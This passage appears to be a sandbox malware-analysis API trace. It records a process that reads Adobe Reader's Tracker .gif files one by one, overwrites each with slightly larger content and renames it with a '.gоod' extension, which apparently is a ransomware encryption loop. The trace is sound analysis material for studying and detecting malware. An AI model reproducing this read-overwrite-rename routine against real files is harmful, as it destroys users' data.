nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif", lpFilePart=0x0) returned 0x4b [0117.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0117.771] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviewers.gif"), fInfoLevelId=0x0, lpFileInformation=0x34d71f8 | out: lpFileInformation=0x34d71f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1 [0117.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0117.772] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif", lpFilePart=0x0) returned 0x4b [0117.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0117.772] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviewers.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.772] GetFileType (hFile=0x768) returned 0x1 [0117.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0117.772] GetFileType (hFile=0x768) returned 0x1 [0117.772] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x5ac [0117.772] ReadFile (in: hFile=0x768, lpBuffer=0x34d7a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x34d7a60*, lpNumberOfBytesRead=0x1f35bf48*=0x5ac, lpOverlapped=0x0) returned 1 [0117.773] CloseHandle (hObject=0x768) returned 1 [0117.965] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif", lpFilePart=0x0) returned 0x4b [0117.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0117.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviewers.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0117.966] GetFileType (hFile=0x7b4) returned 0x1 [0117.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0117.966] GetFileType (hFile=0x7b4) returned 0x1 [0117.966] WriteFile (in: hFile=0x7b4, lpBuffer=0x3450110*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3450110*, lpNumberOfBytesWritten=0x1f35be58*=0x5b0, lpOverlapped=0x0) returned 1 [0117.967] CloseHandle (hObject=0x7b4) returned 1 [0117.967] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif", lpFilePart=0x0) returned 0x4b [0117.967] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif.gоod", lpFilePart=0x0) returned 0x50 [0117.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0117.967] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviewers.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x428740a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0117.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0117.968] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviewers.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviewers.gif.gоod")) returned 1 [0117.968] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif", lpFilePart=0x0) returned 0x50 [0117.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0117.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_joined.gif"), fInfoLevelId=0x0, lpFileInformation=0x34513c8 | out: lpFileInformation=0x34513c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x392)) returned 1 [0117.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0117.969] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif", lpFilePart=0x0) returned 0x50 [0117.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0117.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_joined.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0117.969] GetFileType (hFile=0x7b4) returned 0x1 [0117.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0117.969] GetFileType (hFile=0x7b4) returned 0x1 [0117.970] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x392 [0117.970] ReadFile (in: hFile=0x7b4, lpBuffer=0x3451a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x3451a48*, lpNumberOfBytesRead=0x1f35bf48*=0x392, lpOverlapped=0x0) returned 1 [0117.971] CloseHandle (hObject=0x7b4) returned 1 [0118.418] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif", lpFilePart=0x0) returned 0x50 [0118.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0118.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_joined.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0118.419] GetFileType (hFile=0x7b4) returned 0x1 [0118.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0118.420] GetFileType (hFile=0x7b4) returned 0x1 [0118.420] WriteFile (in: hFile=0x7b4, lpBuffer=0x34eb520*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x34eb520*, lpNumberOfBytesWritten=0x1f35be58*=0x3a0, lpOverlapped=0x0) returned 1 [0118.420] CloseHandle (hObject=0x7b4) returned 1 [0118.420] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif", lpFilePart=0x0) returned 0x50 [0118.421] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif.gоod", lpFilePart=0x0) returned 0x55 [0118.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0118.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_joined.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x42cba647, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1 [0118.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0118.421] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_joined.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_joined.gif.gоod")) returned 1 [0118.421] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif", lpFilePart=0x0) returned 0x4e [0118.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0118.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_sent.gif"), fInfoLevelId=0x0, lpFileInformation=0x34ec7f8 | out: lpFileInformation=0x34ec7f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38d)) returned 1 [0118.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0118.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif", lpFilePart=0x0) returned 0x4e [0118.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0118.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_sent.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0118.422] GetFileType (hFile=0x7b4) returned 0x1 [0118.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0118.422] GetFileType (hFile=0x7b4) returned 0x1 [0118.422] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x38d [0118.422] ReadFile (in: hFile=0x7b4, lpBuffer=0x34ece60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x34ece60*, lpNumberOfBytesRead=0x1f35bf48*=0x38d, lpOverlapped=0x0) returned 1 [0118.424] CloseHandle (hObject=0x7b4) returned 1 [0118.479] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif", lpFilePart=0x0) returned 0x4e [0118.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0118.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_sent.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0118.480] GetFileType (hFile=0x7b4) returned 0x1 [0118.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0118.480] GetFileType (hFile=0x7b4) returned 0x1 [0118.480] WriteFile (in: hFile=0x7b4, lpBuffer=0x3566668*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3566668*, lpNumberOfBytesWritten=0x1f35be58*=0x390, lpOverlapped=0x0) returned 1 [0118.481] CloseHandle (hObject=0x7b4) returned 1 [0118.481] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif", lpFilePart=0x0) returned 0x4e [0118.481] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif.gоod", lpFilePart=0x0) returned 0x53 [0118.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0118.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_sent.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x42d52f84, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x390)) returned 1 [0118.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0118.481] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_sent.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_sent.gif.gоod")) returned 1 [0118.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif", lpFilePart=0x0) returned 0x4f [0118.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0118.974] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_super.gif"), fInfoLevelId=0x0, lpFileInformation=0x36fb828 | out: lpFileInformation=0x36fb828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x32e)) returned 1 [0119.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0119.008] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif", lpFilePart=0x0) returned 0x4f [0119.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0119.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_super.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0119.008] GetFileType (hFile=0x7dc) returned 0x1 [0119.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0119.008] GetFileType (hFile=0x7dc) returned 0x1 [0119.008] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x32e [0119.008] ReadFile (in: hFile=0x7dc, lpBuffer=0x37786d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x37786d0*, lpNumberOfBytesRead=0x1f35bf48*=0x32e, lpOverlapped=0x0) returned 1 [0119.009] CloseHandle (hObject=0x7dc) returned 1 [0119.110] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif", lpFilePart=0x0) returned 0x4f [0119.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0119.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_super.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.111] GetFileType (hFile=0x6e4) returned 0x1 [0119.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0119.111] GetFileType (hFile=0x6e4) returned 0x1 [0119.111] WriteFile (in: hFile=0x6e4, lpBuffer=0x34222c0*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x34222c0*, lpNumberOfBytesWritten=0x1f35be58*=0x330, lpOverlapped=0x0) returned 1 [0119.112] CloseHandle (hObject=0x6e4) returned 1 [0119.112] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif", lpFilePart=0x0) returned 0x4f [0119.112] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif.gоod", lpFilePart=0x0) returned 0x54 [0119.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0119.112] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_super.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x43348e06, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x330)) returned 1 [0119.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0119.113] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_super.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_super.gif.gоod")) returned 1 [0119.114] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif", lpFilePart=0x0) returned 0x50 [0119.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0119.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_browser.gif"), fInfoLevelId=0x0, lpFileInformation=0x3423590 | out: lpFileInformation=0x3423590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x47f)) returned 1 [0119.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0119.114] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif", lpFilePart=0x0) returned 0x50 [0119.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0119.114] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_browser.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.114] GetFileType (hFile=0x6e4) returned 0x1 [0119.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0119.114] GetFileType (hFile=0x6e4) returned 0x1 [0119.114] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x47f [0119.114] ReadFile (in: hFile=0x6e4, lpBuffer=0x3423cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x3423cf8*, lpNumberOfBytesRead=0x1f35bf48*=0x47f, lpOverlapped=0x0) returned 1 [0119.116] CloseHandle (hObject=0x6e4) returned 1 [0119.699] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0120.265] GetFullPathNameW (in: lpFileName="C:\\Program Files 